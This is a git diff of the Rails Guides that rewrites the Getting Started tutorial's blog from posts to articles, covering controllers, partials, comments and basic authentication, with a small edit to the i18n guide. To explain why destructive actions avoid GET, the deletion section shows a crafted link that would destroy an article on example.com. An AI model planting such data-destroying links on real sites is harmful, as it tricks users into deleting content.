<p> <%= f.submit %> </p> + <% end %> -<%= link_to 'Back', posts_path %> +<%= link_to 'Back', articles_path %> ``` This time we point the form to the `update` action, which is not defined yet @@ -897,35 +1187,60 @@ The `method: :patch` option tells Rails that we want this form to be submitted via the `PATCH` HTTP method which is the HTTP method you're expected to use to **update** resources according to the REST protocol. -TIP: By default forms built with the _form_for_ helper are sent via `POST`. +The first parameter of `form_for` can be an object, say, `@article` which would +cause the helper to fill in the form with the fields of the object. Passing in a +symbol (`:article`) with the same name as the instance variable (`@article`) +also automagically leads to the same behavior. This is what is happening here. +More details can be found in [form_for documentation] +(http://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_for). -Next we need to create the `update` action in `app/controllers/posts_controller.rb`: +Next, we need to create the `update` action in +`app/controllers/articles_controller.rb`. +Add it between the `create` action and the `private` method: ```ruby +def create + @article = Article.new(article_params) + + if @article.save + redirect_to @article + else + render 'new' + end +end + def update - @post = Post.find(params[:id]) + @article = Article.find(params[:id]) - if @post.update(params[:post].permit(:title, :text)) - redirect_to @post + if @article.update(article_params) + redirect_to @article else render 'edit' end end + +private + def article_params + params.require(:article).permit(:title, :text) + end ``` The new method, `update`, is used when you want to update a record that already exists, and it accepts a hash containing the attributes that you want to update. As before, if there was an error updating the -post we want to show the form back to the user. +article we want to show the form back to the user. + +We reuse the `article_params` method that we defined earlier for the create +action. TIP: You don't need to pass all attributes to `update`. For -example, if you'd call `@post.update(title: 'A new title')` +example, if you'd call `@article.update(title: 'A new title')` Rails would only update the `title` attribute, leaving all other attributes untouched. Finally, we want to show a link to the `edit` action in the list of all the -posts, so let's add that now to `app/views/posts/index.html.erb` to make it -appear next to the "Show" link: +articles, so let's add that now to `app/views/articles/index.html.erb` to make +it appear next to the "Show" link: ```html+erb <table> @@ -935,26 +1250,26 @@ appear next to the "Show" link: <th colspan="2"></th> </tr> -<% @posts.each do |post| %> - <tr> - <td><%= post.title %></td> - <td><%= post.text %></td> - <td><%= link_to 'Show', post_path(post) %></td> - <td><%= link_to 'Edit', edit_post_path(post) %></td> - </tr> -<% end %> + <% @articles.each do |article| %> + <tr> + <td><%= article.title %></td> + <td><%= article.text %></td> + <td><%= link_to 'Show', article_path(article) %></td> + <td><%= link_to 'Edit', edit_article_path(article) %></td> + </tr> + <% end %> </table> ``` -And we'll also add one to the `app/views/posts/show.html.erb` template as well, -so that there's also an "Edit" link on a post's page. Add this at the bottom of -the template: +And we'll also add one to the `app/views/articles/show.html.erb` template as +well, so that there's also an "Edit" link on an article's page. Add this at the +bottom of the template: ```html+erb ... -<%= link_to 'Back', posts_path %> -| <%= link_to 'Edit', edit_post_path(@post) %> +<%= link_to 'Back', articles_path %> | +<%= link_to 'Edit', edit_article_path(@article) %> ``` And here's how our app looks so far: @@ -963,30 +1278,34 @@ And here's how our app looks so far: ### Using partials to clean up duplication in views -Our `edit` page looks very similar to the `new` page, in fact they -both share the same code for displaying the form. Let's remove some duplication -by using a view partial. By convention, partial files are prefixed by an -underscore. +Our `edit` page looks very similar to the `new` page; in fact, they +both share the same code for displaying the form. Let's remove this +duplication by using a view partial. By convention, partial files are +prefixed by an underscore. TIP: You can read more about partials in the [Layouts and Rendering in Rails](layouts_and_rendering.html) guide. -Create a new file `app/views/posts/_form.html.erb` with the following +Create a new file `app/views/articles/_form.html.erb` with the following content: ```html+erb -<%= form_for @post do |f| %> - <% if @post.errors.any? %> - <div id="error_explanation"> - <h2><%= pluralize(@post.errors.count, "error") %> prohibited - this post from being saved:</h2> - <ul> - <% @post.errors.full_messages.each do |msg| %> - <li><%= msg %></li> - <% end %> - </ul> - </div> +<%= form_for @article do |f| %> + + <% if @article.errors.any? %> + <div id="error_explanation"> + <h2> + <%= pluralize(@article.errors.count, "error") %> prohibited + this article from being saved: + </h2> + <ul> + <% @article.errors.full_messages.each do |msg| %> + <li><%= msg %></li> + <% end %> + </ul> + </div> <% end %> + <p> <%= f.label :title %><br> <%= f.text_field :title %> @@ -1000,41 +1319,47 @@ content: <p> <%= f.submit %> </p> + <% end %> ``` Everything except for the `form_for` declaration remained the same. -How `form_for` can figure out the right `action` and `method` attributes -when building the form will be explained in just a moment. For now, let's update the -`app/views/posts/new.html.erb` view to use this new partial, rewriting it -completely: +The reason we can use this shorter, simpler `form_for` declaration +to stand in for either of the other forms is that `@article` is a *resource* +corresponding to a full set of RESTful routes, and Rails is able to infer +which URI and method to use. +For more information about this use of `form_for`, see [Resource-oriented style] +(http://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_for-label-Resource-oriented+style). + +Now, let's update the `app/views/articles/new.html.erb` view to use this new +partial, rewriting it completely: ```html+erb -<h1>New post</h1> +<h1>New article</h1> <%= render 'form' %> -<%= link_to 'Back', posts_path %> +<%= link_to 'Back', articles_path %> ``` -Then do the same for the `app/views/posts/edit.html.erb` view: +Then do the same for the `app/views/articles/edit.html.erb` view: ```html+erb -<h1>Edit post</h1> +<h1>Edit article</h1> <%= render 'form' %> -<%= link_to 'Back', posts_path %> +<%= link_to 'Back', articles_path %> ``` -### Deleting Posts +### Deleting Articles -We're now ready to cover the "D" part of CRUD, deleting posts from the +We're now ready to cover the "D" part of CRUD, deleting articles from the database. Following the REST convention, the route for -deleting posts in the `config/routes.rb` is: +deleting articles as per output of `rake routes` is: ```ruby -DELETE /posts/:id(.:format) posts#destroy +DELETE /articles/:id(.:format) articles#destroy ``` The `delete` routing method should be used for routes that destroy @@ -1042,19 +1367,76 @@ resources. If this was left as a typical `get` route, it could be possible for people to craft malicious URLs like this: ```html -<a href='http://example.com/posts/1/destroy'>look at this cat!</a> +<a href='http://example.com/articles/1/destroy'>look at this cat!</a> ``` -We use the `delete` method for destroying resources, and this route is mapped to -the `destroy` action inside `app/controllers/posts_controller.rb`, which doesn't exist yet, but is -provided below: +We use the `delete` method for destroying resources, and this route is mapped +to the `destroy` action inside `app/controllers/articles_controller.rb`, which +doesn't exist yet. The `destroy` method is generally the last CRUD action in +the controller, and like the other public CRUD actions, it must be placed +before any `private` or `protected` methods. Let's add it: ```ruby def destroy - @post = Post.find(params[:id]) - @post.destroy + @article = Article.find(params[:id]) + @article.destroy + + redirect_to articles_path +end +``` + +The complete `ArticlesController` in the +`app/controllers/articles_controller.rb` file should now look like this: + +```ruby +class ArticlesController < ApplicationController + def index + @articles = Article.all + end + + def show + @article = Article.find(params[:id]) + end + + def new + @article = Article.new + end + + def edit + @article = Article.find(params[:id]) + end + + def create + @article = Article.new(article_params) - redirect_to posts_path + if @article.save + redirect_to @article + else + render 'new' + end + end + + def update + @article = Article.find(params[:id]) + + if @article.update(article_params) + redirect_to @article + else + render 'edit' + end + end + + def destroy + @article = Article.find(params[:id]) + @article.destroy + + redirect_to articles_path + end + + private + def article_params + params.require(:article).permit(:title, :text) + end end ``` @@ -1062,12 +1444,12 @@ You can call `destroy` on Active Record objects when you want to delete them from the database. Note that we don't need to add a view for this action since we're redirecting to the `index` action. -Finally, add a 'destroy' link to your `index` action template -(`app/views/posts/index.html.erb`) to wrap everything -together. +Finally, add a 'Destroy' link to your `index` action template +(`app/views/articles/index.html.erb`) to wrap everything together. ```html+erb -<h1>Listing Posts</h1> +<h1>Listing Articles</h1> +<%= link_to 'New article', new_article_path %> <table> <tr> <th>Title</th> @@ -1075,58 +1457,59 @@ together. <th colspan="3"></th> </tr> -<% @posts.each do |post| %> - <tr> - <td><%= post.title %></td> - <td><%= post.text %></td> - <td><%= link_to 'Show', post_path(post) %></td> - <td><%= link_to 'Edit', edit_post_path(post) %></td> - <td><%= link_to 'Destroy', post_path(post), - method: :delete, data: { confirm: 'Are you sure?' } %></td> - </tr> -<% end %> + <% @articles.each do |article| %> + <tr> + <td><%= article.title %></td> + <td><%= article.text %></td> + <td><%= link_to 'Show', article_path(article) %></td> + <td><%= link_to 'Edit', edit_article_path(article) %></td> + <td><%= link_to 'Destroy', article_path(article), + method: :delete, + data: { confirm: 'Are you sure?' } %></td> + </tr> + <% end %> </table> ``` -Here we're using `link_to` in a different way. We pass the named route as the first argument, -and then the final two keys as another argument. The `:method` and `:'data-confirm'` -options are used as HTML5 attributes so that when the link is clicked, -Rails will first show a confirm dialog to the user, and then submit the link with method `delete`. -This is done via the JavaScript file `jquery_ujs` which is automatically included -into your application's layout (`app/views/layouts/application.html.erb`) when you -generated the application. Without this file, the confirmation dialog box wouldn't appear. +Here we're using `link_to` in a different way. We pass the named route as the +second argument, and then the options as another argument. The `:method` and +`:'data-confirm'` options are used as HTML5 attributes so that when the link is +clicked, Rails will first show a confirm dialog to the user, and then submit the +link with method `delete`. This is done via the JavaScript file `jquery_ujs` +which is automatically included into your application's layout +(`app/views/layouts/application.html.erb`) when you generated the application. +Without this file, the confirmation dialog box wouldn't appear.  Congratulations, you can now create, show, list, update and destroy -posts. +articles. -TIP: In general, Rails encourages the use of resources objects in place -of declaring routes manually. -For more information about routing, see +TIP: In general, Rails encourages using resources objects instead of +declaring routes manually. For more information about routing, see [Rails Routing from the Outside In](routing.html). Adding a Second Model --------------------- -It's time to add a second model to the application. The second model will handle comments on -posts. +It's time to add a second model to the application. The second model will handle +comments on articles. ### Generating a Model We're going to see the same generator that we used before when creating -the `Post` model. This time we'll create a `Comment` model to hold -reference of post comments. Run this command in your terminal: +the `Article` model. This time we'll create a `Comment` model to hold +reference of article comments. Run this command in your terminal: ```bash -$ rails generate model Comment commenter:string body:text post:references +$ rails generate model Comment commenter:string body:text article:references ``` This command will generate four files: | File | Purpose | | -------------------------------------------- | ------------------------------------------------------------------------------------------------------ | -| db/migrate/20100207235629_create_comments.rb | Migration to create the comments table in your database (your name will include a different timestamp) | +| db/migrate/20140120201010_create_comments.rb | Migration to create the comments table in your database (your name will include a different timestamp) | | app/models/comment.rb | The Comment model | | test/models/comment_test.rb | Testing harness for the comments model | | test/fixtures/comments.yml | Sample comments for use in testing | @@ -1135,12 +1518,12 @@ First, take a look at `app/models/comment.rb`: ```ruby class Comment < ActiveRecord::Base - belongs_to :post + belongs_to :article end ``` -This is very similar to the `post.rb` model that you saw earlier. The difference -is the line `belongs_to :post`, which sets up an Active Record _association_. +This is very similar to the `Article` model that you saw earlier. The difference +is the line `belongs_to :article`, which sets up an Active Record _association_. You'll learn a little about associations in the next section of this guide. In addition to the model, Rails has also made a migration to create the @@ -1152,7 +1535,9 @@ class CreateComments < ActiveRecord::Migration create_table :comments do |t| t.string :commenter t.text :body - t.references :post, index: true + + # this line adds an integer column called `article_id`. + t.references :article, index: true t.timestamps end @@ -1181,57 +1566,59 @@ run against the current database, so in this case you will just see: ### Associating Models Active Record associations let you easily declare the relationship between two -models. In the case of comments and posts, you could write out the relationships -this way: +models. In the case of comments and articles, you could write out the +relationships this way: -* Each comment belongs to one post. -* One post can have many comments. +* Each comment belongs to one article. +* One article can have many comments. In fact, this is very close to the syntax that Rails uses to declare this -association. You've already seen the line of code inside the `Comment` model (app/models/comment.rb) that -makes each comment belong to a Post: +association. You've already seen the line of code inside the `Comment` model +(app/models/comment.rb) that makes each comment belong to an Article: ```ruby class Comment < ActiveRecord::Base - belongs_to :post + belongs_to :article end ``` -You'll need to edit `app/models/post.rb` to add the other side of the association: +You'll need to edit `app/models/article.rb` to add the other side of the +association: ```ruby -class Post < ActiveRecord::Base +class Article < ActiveRecord::Base has_many :comments validates :title, presence: true, length: { minimum: 5 } - [...] end ``` These two declarations enable a good bit of automatic behavior. For example, if -you have an instance variable `@post` containing a post, you can retrieve all -the comments belonging to that post as an array using `@post.comments`. +you have an instance variable `@article` containing an article, you can retrieve +all the comments belonging to that article as an array using +`@article.comments`. TIP: For more information on Active Record associations, see the [Active Record Associations](association_basics.html) guide. ### Adding a Route for Comments -As with the `welcome` controller, we will need to add a route so that Rails knows -where we would like to navigate to see `comments`. Open up the +As with the `welcome` controller, we will need to add a route so that Rails +knows where we would like to navigate to see `comments`. Open up the `config/routes.rb` file again, and edit it as follows: ```ruby -resources :posts do +resources :articles do resources :comments end ``` -This creates `comments` as a _nested resource_ within `posts`. This is another -part of capturing the hierarchical relationship that exists between posts and -comments. +This creates `comments` as a _nested resource_ within `articles`. This is +another part of capturing the hierarchical relationship that exists between +articles and comments. -TIP: For more information on routing, see the [Rails Routing](routing.html) guide. +TIP: For more information on routing, see the [Rails Routing](routing.html) +guide. ### Generating a Controller @@ -1255,33 +1642,33 @@ This creates six files and one empty directory: | app/assets/stylesheets/comment.css.scss | Cascading style sheet for the controller | Like with any blog, our readers will create their comments directly after -reading the post, and once they have added their comment, will be sent back to -the post show page to see their comment now listed. Due to this, our +reading the article, and once they have added their comment, will be sent back +to the article show page to see their comment now listed. Due to this, our `CommentsController` is there to provide a method to create comments and delete spam comments when they arrive. -So first, we'll wire up the Post show template -(`app/views/posts/show.html.erb`) to let us make a new comment: +So first, we'll wire up the Article show template +(`app/views/articles/show.html.erb`) to let us make a new comment: ```html+erb <p> <strong>Title:</strong> - <%= @post.title %> + <%= @article.title %> </p> <p> <strong>Text:</strong> - <%= @post.text %> + <%= @article.text %> </p> <h2>Add a comment:</h2> -<%= form_for([@post, @post.comments.build]) do |f| %> +<%= form_for([@article, @article.comments.build]) do |f| %> <p> - <%= f.label :commenter %><br /> + <%= f.label :commenter %><br> <%= f.text_field :commenter %> </p> <p> - <%= f.label :body %><br /> + <%= f.label :body %><br> <%= f.text_area :body %> </p> <p> @@ -1289,55 +1676,61 @@ So first, we'll wire up the Post show template </p> <% end %> -<%= link_to 'Edit Post', edit_post_path(@post) %> | -<%= link_to 'Back to Posts', posts_path %> +<%= link_to 'Back', articles_path %> | +<%= link_to 'Edit', edit_article_path(@article) %> ``` -This adds a form on the `Post` show page that creates a new comment by +This adds a form on the `Article` show page that creates a new comment by calling the `CommentsController` `create` action. The `form_for` call here uses -an array, which will build a nested route, such as `/posts/1/comments`. +an array, which will build a nested route, such as `/articles/1/comments`. Let's wire up the `create` in `app/controllers/comments_controller.rb`: ```ruby class CommentsController < ApplicationController def create - @post = Post.find(params[:post_id]) - @comment = @post.comments.create(params[:comment].permit(:commenter, :body)) - redirect_to post_path(@post) + @article = Article.find(params[:article_id]) + @comment = @article.comments.create(comment_params) + redirect_to article_path(@article) end + + private + def comment_params + params.require(:comment).permit(:commenter, :body) + end end ``` -You'll see a bit more complexity here than you did in the controller for posts. -That's a side-effect of the nesting that you've set up. Each request for a -comment has to keep track of the post to which the comment is attached, thus the -initial call to the `find` method of the `Post` model to get the post in question. +You'll see a bit more complexity here than you did in the controller for +articles. That's a side-effect of the nesting that you've set up. Each request +for a comment has to keep track of the article to which the comment is attached, +thus the initial call to the `find` method of the `Article` model to get the +article in question. In addition, the code takes advantage of some of the methods available for an -association. We use the `create` method on `@post.comments` to create and save -the comment. This will automatically link the comment so that it belongs to that -particular post. +association. We use the `create` method on `@article.comments` to create and +save the comment. This will automatically link the comment so that it belongs to +that particular article. -Once we have made the new comment, we send the user back to the original post -using the `post_path(@post)` helper. As we have already seen, this calls the -`show` action of the `PostsController` which in turn renders the `show.html.erb` -template. This is where we want the comment to show, so let's add that to the -`app/views/posts/show.html.erb`. +Once we have made the new comment, we send the user back to the original article +using the `article_path(@article)` helper. As we have already seen, this calls +the `show` action of the `ArticlesController` which in turn renders the +`show.html.erb` template. This is where we want the comment to show, so let's +add that to the `app/views/articles/show.html.erb`. ```html+erb <p> <strong>Title:</strong> - <%= @post.title %> + <%= @article.title %> </p> <p> <strong>Text:</strong> - <%= @post.text %> + <%= @article.text %> </p> <h2>Comments</h2> -<% @post.comments.each do |comment| %> +<% @article.comments.each do |comment| %> <p> <strong>Commenter:</strong> <%= comment.commenter %> @@ -1350,13 +1743,13 @@ template. This is where we want the comment to show, so let's add that to the <% end %> <h2>Add a comment:</h2> -<%= form_for([@post, @post.comments.build]) do |f| %> +<%= form_for([@article, @article.comments.build]) do |f| %> <p> - <%= f.label :commenter %><br /> + <%= f.label :commenter %><br> <%= f.text_field :commenter %> </p> <p> - <%= f.label :body %><br /> + <%= f.label :body %><br> <%= f.text_area :body %> </p> <p> @@ -1364,26 +1757,26 @@ template. This is where we want the comment to show, so let's add that to the </p> <% end %> -<%= link_to 'Edit Post', edit_post_path(@post) %> | -<%= link_to 'Back to Posts', posts_path %> +<%= link_to 'Edit Article', edit_article_path(@article) %> | +<%= link_to 'Back to Articles', articles_path %> ``` -Now you can add posts and comments to your blog and have them show up in the +Now you can add articles and comments to your blog and have them show up in the right places. - + Refactoring ----------- -Now that we have posts and comments working, take a look at the -`app/views/posts/show.html.erb` template. It is getting long and awkward. We can -use partials to clean it up. +Now that we have articles and comments working, take a look at the +`app/views/articles/show.html.erb` template. It is getting long and awkward. We +can use partials to clean it up. ### Rendering Partial Collections -First, we will make a comment partial to extract showing all the comments for the -post. Create the file `app/views/comments/_comment.html.erb` and put the +First, we will make a comment partial to extract showing all the comments for +the article. Create the file `app/views/comments/_comment.html.erb` and put the following into it: ```html+erb @@ -1398,31 +1791,31 @@ following into it: </p> ``` -Then you can change `app/views/posts/show.html.erb` to look like the +Then you can change `app/views/articles/show.html.erb` to look like the following: ```html+erb <p> <strong>Title:</strong> - <%= @post.title %> + <%= @article.title %> </p> <p> <strong>Text:</strong> - <%= @post.text %> + <%= @article.text %> </p> <h2>Comments</h2> -<%= render @post.comments %> +<%= render @article.comments %> <h2>Add a comment:</h2> -<%= form_for([@post, @post.comments.build]) do |f| %> +<%= form_for([@article, @article.comments.build]) do |f| %> <p> - <%= f.label :commenter %><br /> + <%= f.label :commenter %><br> <%= f.text_field :commenter %> </p> <p> - <%= f.label :body %><br /> + <%= f.label :body %><br> <%= f.text_area :body %> </p> <p> @@ -1430,13 +1823,13 @@ following: </p> <% end %> -<%= link_to 'Edit Post', edit_post_path(@post) %> | -<%= link_to 'Back to Posts', posts_path %> +<%= link_to 'Edit Article', edit_article_path(@article) %> | +<%= link_to 'Back to Articles', articles_path %> ``` This will now render the partial in `app/views/comments/_comment.html.erb` once -for each comment that is in the `@post.comments` collection. As the `render` -method iterates over the `@post.comments` collection, it assigns each +for each comment that is in the `@article.comments` collection. As the `render` +method iterates over the `@article.comments` collection, it assigns each comment to a local variable named the same as the partial, in this case `comment` which is then available in the partial for us to show. @@ -1446,13 +1839,13 @@ Let us also move that new comment section out to its own partial. Again, you create a file `app/views/comments/_form.html.erb` containing: ```html+erb -<%= form_for([@post, @post.comments.build]) do |f| %> +<%= form_for([@article, @article.comments.build]) do |f| %> <p> - <%= f.label :commenter %><br /> + <%= f.label :commenter %><br> <%= f.text_field :commenter %> </p> <p> - <%= f.label :body %><br /> + <%= f.label :body %><br> <%= f.text_area :body %> </p> <p> @@ -1461,27 +1854,27 @@ create a file `app/views/comments/_form.html.erb` containing: <% end %> ``` -Then you make the `app/views/posts/show.html.erb` look like the following: +Then you make the `app/views/articles/show.html.erb` look like the following: ```html+erb <p> <strong>Title:</strong> - <%= @post.title %> + <%= @article.title %> </p> <p> <strong>Text:</strong> - <%= @post.text %> + <%= @article.text %> </p> <h2>Comments</h2> -<%= render @post.comments %> +<%= render @article.comments %> <h2>Add a comment:</h2> <%= render "comments/form" %> -<%= link_to 'Edit Post', edit_post_path(@post) %> | -<%= link_to 'Back to Posts', posts_path %> +<%= link_to 'Edit Article', edit_article_path(@article) %> | +<%= link_to 'Back to Articles', articles_path %> ``` The second render just defines the partial template we want to render, @@ -1489,15 +1882,15 @@ The second render just defines the partial template we want to render, string and realize that you want to render the `_form.html.erb` file in the `app/views/comments` directory. -The `@post` object is available to any partials rendered in the view because we -defined it as an instance variable. +The `@article` object is available to any partials rendered in the view because +we defined it as an instance variable. Deleting Comments ----------------- Another important feature of a blog is being able to delete spam comments. To do -this, we need to implement a link of some sort in the view and a `DELETE` action -in the `CommentsController`. +this, we need to implement a link of some sort in the view and a `destroy` +action in the `CommentsController`. So first, let's add the delete link in the `app/views/comments/_comment.html.erb` partial: @@ -1514,88 +1907,93 @@ So first, let's add the delete link in the </p> <p> - <%= link_to 'Destroy Comment', [comment.post, comment], + <%= link_to 'Destroy Comment', [comment.article, comment], method: :delete, data: { confirm: 'Are you sure?' } %> </p> ``` Clicking this new "Destroy Comment" link will fire off a `DELETE -/posts/:post_id/comments/:id` to our `CommentsController`, which can then use -this to find the comment we want to delete, so let's add a destroy action to our -controller (`app/controllers/comments_controller.rb`): +/articles/:article_id/comments/:id` to our `CommentsController`, which can then +use this to find the comment we want to delete, so let's add a `destroy` action +to our controller (`app/controllers/comments_controller.rb`): ```ruby class CommentsController < ApplicationController - def create - @post = Post.find(params[:post_id]) - @comment = @post.comments.create(params[:comment]) - redirect_to post_path(@post) + @article = Article.find(params[:article_id]) + @comment = @article.comments.create(comment_params) + redirect_to article_path(@article) end def destroy - @post = Post.find(params[:post_id]) - @comment = @post.comments.find(params[:id]) + @article = Article.find(params[:article_id]) + @comment = @article.comments.find(params[:id]) @comment.destroy - redirect_to post_path(@post) + redirect_to article_path(@article) end + private + def comment_params + params.require(:comment).permit(:commenter, :body) + end end ``` -The `destroy` action will find the post we are looking at, locate the comment -within the `@post.comments` collection, and then remove it from the -database and send us back to the show action for the post. +The `destroy` action will find the article we are looking at, locate the comment +within the `@article.comments` collection, and then remove it from the +database and send us back to the show action for the article. ### Deleting Associated Objects -If you delete a post then its associated comments will also need to be deleted. -Otherwise they would simply occupy space in the database. Rails allows you to -use the `dependent` option of an association to achieve this. Modify the Post -model, `app/models/post.rb`, as follows: +If you delete an article, its associated comments will also need to be +deleted, otherwise they would simply occupy space in the database. Rails allows +you to use the `dependent` option of an association to achieve this. Modify the +Article model, `app/models/article.rb`, as follows: ```ruby -class Post < ActiveRecord::Base +class Article < ActiveRecord::Base has_many :comments, dependent: :destroy validates :title, presence: true, length: { minimum: 5 } - [...] end ``` Security -------- -If you were to publish your blog online, anybody would be able to add, edit and -delete posts or delete comments. +### Basic Authentication + +If you were to publish your blog online, anyone would be able to add, edit and +delete articles or delete comments. Rails provides a very simple HTTP authentication system that will work nicely in this situation. -In the `PostsController` we need to have a way to block access to the various -actions if the person is not authenticated, here we can use the Rails -`http_basic_authenticate_with` method, allowing access to the requested +In the `ArticlesController` we need to have a way to block access to the +various actions if the person is not authenticated. Here we can use the Rails +`http_basic_authenticate_with` method, which allows access to the requested action if that method allows it. To use the authentication system, we specify it at the top of our -`PostsController`, in this case, we want the user to be authenticated on every -action, except for `index` and `show`, so we write that in `app/controllers/posts_controller.rb`: +`ArticlesController` in `app/controllers/articles_controller.rb`. In our case, +we want the user to be authenticated on every action except `index` and `show`, +so we write that: ```ruby -class PostsController < ApplicationController +class ArticlesController < ApplicationController http_basic_authenticate_with name: "dhh", password: "secret", except: [:index, :show] def index - @posts = Post.all + @articles = Article.all end # snipped for brevity ``` -We also only want to allow authenticated users to delete comments, so in the +We also want to allow only authenticated users to delete comments, so in the `CommentsController` (`app/controllers/comments_controller.rb`) we write: ```ruby @@ -1604,17 +2002,32 @@ class CommentsController < ApplicationController http_basic_authenticate_with name: "dhh", password: "secret", only: :destroy def create - @post = Post.find(params[:post_id]) - ... + @article = Article.find(params[:article_id]) + # ... end + # snipped for brevity ``` -Now if you try to create a new post, you will be greeted with a basic HTTP +Now if you try to create a new article, you will be greeted with a basic HTTP Authentication challenge  +Other authentication methods are available for Rails applications. Two popular +authentication add-ons for Rails are the +[Devise](https://github.com/plataformatec/devise) rails engine and +the [Authlogic](https://github.com/binarylogic/authlogic) gem, +along with a number of others. + + +### Other Security Considerations + +Security, especially in web applications, is a broad and detailed area. Security +in your Rails application is covered in more depth in +The [Ruby on Rails Security Guide](security.html) + + What's Next? ------------ @@ -1628,12 +2041,19 @@ free to consult these support resources: * The [Ruby on Rails mailing list](http://groups.google.com/group/rubyonrails-talk) * The [#rubyonrails](irc://irc.freenode.net/#rubyonrails) channel on irc.freenode.net -Rails also comes with built-in help that you can generate using the rake command-line utility: +Rails also comes with built-in help that you can generate using the rake +command-line utility: -* Running `rake doc:guides` will put a full copy of the Rails Guides in the `doc/guides` folder of your application. Open `doc/guides/index.html` in your web browser to explore the Guides. -* Running `rake doc:rails` will put a full copy of the API documentation for Rails in the `doc/api` folder of your application. Open `doc/api/index.html` in your web browser to explore the API documentation. +* Running `rake doc:guides` will put a full copy of the Rails Guides in the + `doc/guides` folder of your application. Open `doc/guides/index.html` in your + web browser to explore the Guides. +* Running `rake doc:rails` will put a full copy of the API documentation for + Rails in the `doc/api` folder of your application. Open `doc/api/index.html` + in your web browser to explore the API documentation. -TIP: To be able to generate the Rails Guides locally with the `doc:guides` rake task you need to install the RedCloth gem. Add it to your `Gemfile` and run `bundle install` and you're ready to go. +TIP: To be able to generate the Rails Guides locally with the `doc:guides` rake +task you need to install the RedCloth gem. Add it to your `Gemfile` and run +`bundle install` and you're ready to go. Configuration Gotchas --------------------- @@ -1653,15 +2073,16 @@ cannot be automatically detected by Rails and corrected. Two very common sources of data that are not UTF-8: -* Your text editor: Most text editors (such as TextMate), default to saving files as - UTF-8. If your text editor does not, this can result in special characters that you - enter in your templates (such as é) to appear as a diamond with a question mark inside - in the browser. This also applies to your i18n translation files. - Most editors that do not already default to UTF-8 (such as some versions of - Dreamweaver) offer a way to change the default to UTF-8. Do so. -* Your database: Rails defaults to converting data from your database into UTF-8 at - the boundary. However, if your database is not using UTF-8 internally, it may not - be able to store all characters that your users enter. For instance, if your database - is using Latin-1 internally, and your user enters a Russian, Hebrew, or Japanese - character, the data will be lost forever once it enters the database. If possible, - use UTF-8 as the internal storage of your database. +* Your text editor: Most text editors (such as TextMate), default to saving + files as UTF-8. If your text editor does not, this can result in special + characters that you enter in your templates (such as é) to appear as a diamond + with a question mark inside in the browser. This also applies to your i18n + translation files. Most editors that do not already default to UTF-8 (such as + some versions of Dreamweaver) offer a way to change the default to UTF-8. Do + so. +* Your database: Rails defaults to converting data from your database into UTF-8 + at the boundary. However, if your database is not using UTF-8 internally, it + may not be able to store all characters that your users enter. For instance, + if your database is using Latin-1 internally, and your user enters a Russian, + Hebrew, or Japanese character, the data will be lost forever once it enters + the database. If possible, use UTF-8 as the internal storage of your database. diff --git a/guides/source/i18n.md b/guides/source/i18n.md index 062da3877b..c1b575c7b7 100644 --- a/guides/source/i18n.md +++ b/guides/source/i18n.md @@ -13,17 +13,22 @@ So, in the process of _internationalizing_ your Rails application you have to: In the process of _localizing_ your application you'll probably want to do the following three things: -* Replace or supplement Rails' default locale — e.g. date and time formats, month names, Active Record model names, etc. -* Abstract strings in your application into keyed dictionaries — e.g. flash messages, static text in your views, etc. +* Replace or supplement Rails' default locale - e.g. date and time formats, month names, Active Record model names, etc. +* Abstract strings in your application into keyed dictionaries - e.g. flash messages, static text in your views, etc. * Store the resulting dictionaries somewhere. This guide will walk you through the I18n API and contains a tutorial on how to internationalize a Rails application from the start. After reading this guide, you will know: +* How I18n works in Ruby on Rails +* How to correctly use I18n into a RESTful application in various ways +* How to use I18n to translate ActiveRecord errors or ActionMailer E-mail subjects +* Some other tools to go further with the translation process of your application + -------------------------------------------------------------------------------- -NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available, which add additional functionality or features. See the Rails [I18n Wiki](http://rails-i18n.org/wiki) for more information. +NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available, which add additional functionality or features. See the Ruby [I18n Wiki](http://ruby-i18n.org/wiki) for more information. How I18n in Ruby on Rails Works ------------------------------- @@ -33,13 +38,13 @@ Internationalization is a complex problem. Natural languages differ in so many w * providing support for English and similar languages out of the box * making it easy to customize and extend everything for other languages -As part of this solution, **every static string in the Rails framework** — e.g. Active Record validation messages, time and date formats — **has been internationalized**, so _localization_ of a Rails application means "over-riding" these defaults. +As part of this solution, **every static string in the Rails framework** - e.g. Active Record validation messages, time and date formats - **has been internationalized**, so _localization_ of a Rails application means "over-riding" these defaults. ### The Overall Architecture of the Library Thus, the Ruby I18n gem is split into two parts: -* The public API of the i18n framework — a Ruby module with public methods that define how the library works +* The public API of the i18n framework - a Ruby module with public methods that define how the library works * A default backend (which is intentionally named _Simple_ backend) that implements these methods As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend. @@ -87,16 +92,16 @@ Rails adds all `.rb` and `.yml` files from the `config/locales` directory to you The default `en.yml` locale in this directory contains a sample pair of translation strings: -```ruby +```yaml en: hello: "Hello world" ``` -This means, that in the `:en` locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Record validation messages in the [`activerecord/lib/active_record/locale/en.yml`](https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml file or time and date formats in the [`activesupport/lib/active_support/locale/en.yml`](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml) file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend. +This means, that in the `:en` locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Model validation messages in the [`activemodel/lib/active_model/locale/en.yml`](https://github.com/rails/rails/blob/master/activemodel/lib/active_model/locale/en.yml) file or time and date formats in the [`activesupport/lib/active_support/locale/en.yml`](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml) file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend. The I18n library will use **English** as a **default locale**, i.e. if you don't set a different locale, `:en` will be used for looking up translations. -NOTE: The i18n library takes a **pragmatic approach** to locale keys (after [some discussion](http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as `:cs`, `:th` or `:es` (for 